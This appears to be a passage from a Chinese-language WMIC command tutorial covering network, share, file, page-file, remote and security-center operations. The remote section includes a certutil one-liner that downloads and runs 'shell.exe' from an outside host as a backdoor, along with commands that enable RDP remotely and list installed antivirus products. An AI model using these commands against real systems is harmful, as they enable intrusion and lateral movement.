wmic nicconfig where index=0 call enablestatic("192.168.1.5"), ("255.255.255.0") #0说明是配置网络接口1。
wmic nicconfig where index=13 call setgateways("192.168.1.1"),(1) #配置网关(默认路由
#3.指定字段获取(get 与 list 不能同时存在)
wmic nicconfig get Description,IPAddress,DefaultIPGateway
# DefaultIPGateway Description IPAddress
# Microsoft Kernel Debug Network Adapter
# {"192.20.172.1"} Intel(R) Ethernet Connection I217-LM {"192.20.172.109", "fe80::d97d:fe6c:10bf:4244"}
# VMware Virtual Ethernet Adapter for VMnet1 {"192.168.64.1", "fe80::34d5:4b52:1627:64dc"}
# VMware Virtual Ethernet Adapter for VMnet8 {"192.168.1.1", "fe80::50fc:1560:33a5:b73f"}
WeiyiGeek.
0x05 文件磁盘操作
share
描述:共享资源管理
代码语言:javascript复制#创建参数
Create [IN ]Access(OBJECT) (null)
[IN ]Description(STRING)
[IN ]MaximumAllowed(UINT32)
[IN ]Name(STRING)
[IN ]Password(STRING)
[IN ]Path(STRING)
[IN ]Type(UINT32)
```
基础示例:
```bash
#1.共享查看
net share #查看自己的共享
WMIC SHARE| findstr /n "OK" #查看自己的共享
#2.共享的添加
net share test=d:test
WMIC SHARE CALL Create "","test","3","TestShareName","","c:test",0 #添加共享
#3.net share F$ /delete 也能删除共享
wmic SHARE where name="Brother DCP-L5500D series" call delete #删除共享
WeiyiGeek.
datafile
描述:磁盘 DataFile 管理与操作 基础语法:
代码语言:javascript复制#USAGE:
DATAFILE ASSOC [<format specifier>]
DATAFILE CALL <method name> [<actual param list>]
DATAFILE CREATE <assign list>
DATAFILE DELETE
DATAFILE GET [<property list>] [<get switches>]
DATAFILE LIST [<list format>] [<list switches>]
#Where 条件
# AccessMask=18809343
# Archive=TRUE
# Caption=c:test.txt
# Compressed=FALSE
# CompressionMethod=
# CreationClassName=CIM_LogicalFile
# CreationDate=20181011185819.087958 480
# CSCreationClassName=Win32_ComputerSystem
# CSName=PC-20170910QIBZ
# Description=c:test.txt
# Drive=c:
# EightDotThreeFileName=c:test.txt
# Encrypted=FALSE
# EncryptionMethod=
# Extension=txt
# FileName=test
# FileSize=55514
# FileType=Text Document
# FSCreationClassName=Win32_FileSystem
# FSName=NTFS
# Hidden=FALSE
# InstallDate=20181011185819.087958 480
# InUseCount=
# LastAccessed=20181011185819.087958 480
# LastModified=20181011190254.894734 480
# Manufacturer=
# Name=c:test.txt
# Path=
# Readable=TRUE
# Status=OK
# System=FALSE
# Version=
# Writeable=TRUEAccessMask=18809343
# Archive=TRUE
# Caption=c:test.txt
# Compressed=FALSE
# CompressionMethod=
# CreationClassName=CIM_LogicalFile
# CreationDate=20181011185819.087958 480
# CSCreationClassName=Win32_ComputerSystem
# CSName=PC-20170910QIBZ
# Description=c:test.txt
# Drive=c:
# EightDotThreeFileName=c:test.txt
# Encrypted=FALSE
# EncryptionMethod=
# Extension=txt
# FileName=test
# FileSize=55514
# FileType=Text Document
# FSCreationClassName=Win32_FileSystem
# FSName=NTFS
# Hidden=FALSE
# InstallDate=20181011185819.087958 480
# InUseCount=
# LastAccessed=20181011185819.087958 480
# LastModified=20181011190254.894734 480
# Manufacturer=
# Name=c:test.txt
# Path=
# Readable=TRUE
# Status=OK
# System=FALSE
# Version=
# Writeable=TRUE
基础实例:
代码语言:javascript复制#1.获取文件的创建、访问、修改时间
wmic datafile where "Name='c:\windows\system32\cmd.exe'" get CreationDate,LastAccessed,LastModified
# CreationDate LastAccessed LastModified
# 20191114092108.255728 480 20191114092108.258724 480 20191114092108.258724 480
#2.可以进行文件查找(语句里面通配符以及)
wmic datafile where "drive='e:' and path='\test\' and FileName='cc' and Extension='cmd'" list #查找e盘下test目录(不包括子目录)下的cc.cmd文件
wmic datafile where "drive='e:' and FileName='cc' and Extension='cmd' and FileSize>'1000'" list #查找e盘下所有目录和子目录下的cc.cmd文件,且文件大小大于1K
wmic datafile where "drive='h:' and extension='txt' and path like '%\test\%' and filename like '%perl%'" get name #查找h盘下目录含有test,文件名含有perl,后缀为txt的文件
wmic datafile where "drive='c:' and extension='ps1' and path like '%\windows\%' and filename like '%po%'" get name #比较实用的功能
#3.按照条件删除文件
wmic datafile where "drive='e:' and Extension='cmd' and FileSize>'10000000'" call delete #删除e盘下文件大小大于10M的.cmd文件
wmic datafile where "drive='e:' and Extension<>'cmd' and path='test'" call delete #删除e盘下test目录(不包括子目录)下的非.cmd文件
#4.文件重命名
wmic datafile "c:\hello.txt" call rename c:test.txt #改名c:hello.txt为c:test.txt
#5.复制e盘下test目录(不包括子目录)下的cc.cmd文件到e:,并改名为aa.bat
wmic datafile where "drive='e:' and path='\test\' and FileName='cc' and Extension='cmd'" call copy "e:aa.bat" #注意目录的写法
WeiyiGeek.
fsdir - 文件目录系统项目管理
基础实例:
代码语言:javascript复制#1.查找e盘下名为test的目录
wmic FSDIR where "drive='e:' and filename='test'" list
#2.删除c:good文件夹
wmic FSDIR "c:\good" call delete
wmic fsdir where "f:\test" call delete # - 使用双斜杆转义
#3.删除e:test目录下除过目录abc的所有目录
wmic FSDIR where "drive='e:' and path='\test\' and filename<>'abc'" call delete
#4.重命名c:good文件夹为abb
wmic FSDIR "c:\good" rename "c:abb"
wmic fsdir where (name='c:\test') rename "c:abc"
WeiyiGeek.
pagefileset
描述:页面文件设置管理 基础语法:
代码语言:javascript复制PAGEFILESET ASSOC [<格式说明符>]
PAGEFILESET CREATE <分配列表> #注意: Create 不能用于创建新类。
PAGEFILESET DELETE
PAGEFILESET GET [<属性列表>] [<获取开关>]
PAGEFILESET LIST [<列表格式>] [<列表开关>]
PAGEFILESET SET [<分配列表>]
基础实例:
代码语言:javascript复制#1.更改当前页面文件初始大小和最大值
wmic PAGEFILESET set InitialSize="512",MaximumSize="512"
#2.页面文件设置到d:下,执行下面两条命令
wmic pagefileset create name='d:pagefile.sys',initialsize=512,maximumsize=1024
wmic pagefileset where "name='d:\pagefile.sys'" delete
删除实例 \WEIYIGEEKROOTCIMV2:Win32_PageFileSetting.Name="d:\pagefile.sys"
实例删除成功。
0x06 远程操作
/node
描述:/node 远程计算机操作WMIC命令开启远程计算机的远程桌面连接;
基础语法:
代码语言:javascript复制#开启远程
wmic /node:"[full machine name]" /USER:"[domain][username]" PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1
#远程命令执行
wmic /node:[ip] /user:[用户] /password:[密码] process call create "shutdown.exe /r /f /t 0"
基础示例:
代码语言:javascript复制# 0.进行wmic控制台登录
wmic /node:"192.168.1.20" /user:"domainadministrator" /password:"123456"
wmic /node:"192.168.1.88" /user:"domainWeiyiGeek" /password:"weiye"
# 1.WMIC命令开启远程计算机的远程桌面连接
wmic /node:10.2.14.20 /USER:"10.2.14.20/administrator" PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1
# 2.远程计算机操作实例(打开笔记本)
wmic /node:10.2.14.200 /user:administrator process call create notepad.exe #在远程机器上创建新进程(值得利用) 会返回进程ID
# 3.利用 wmic 实现远程下载后门
wmic /node:192.168.1.10 /user:administrator /password:123123 PROCESS call create "cmd /c certutil.exe -urlcache -split -f http://WEIYIGEEK.com/shell.exe c:/shell.exe
& c:/shell.exe & certutil.exe -urlcache -split -f http://WEIYIGEEK.com/shell.exe delete"
# 4.由于wmic执行远程命令没有回显所以要将结果写入到txt中
wmic /node:[TargetIp] /user:[UserName] /password:[Password] process call create "cmd.exe /c ipconfig > c:result.txt"
type result.txt
WeiyiGeek.远程管理
rdtoggle
描述:查看与设置远程桌面连接;
基础示例:
代码语言:javascript复制#1.查看远程连接的信息
wmic rdtoggle list
# AllowTSConnections ServerName
# 0 WEIYIGEEK
#2.开2003的3389
wmic RDTOGGLE where "name='WEIYIGEEK'" call SetAllowTSConnections 1
0x07 namespace - 名称空间
(1) rootsecuritycenter2
基础示例:
代码语言:javascript复制# - 获取反病毒产品详情
wmic /namespace:\rootsecuritycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe
# displayName pathToSignedProductExe productState
# 火绒安全软件 C:Program Files (x86)HuorongSysdiagbinwsctrl.exe 266240
# Windows Defender windowsdefender:// 401664
# 火绒安全软件 C:Program Files (x86)HuorongSysdiagbinwsctrlsvc.exe 266240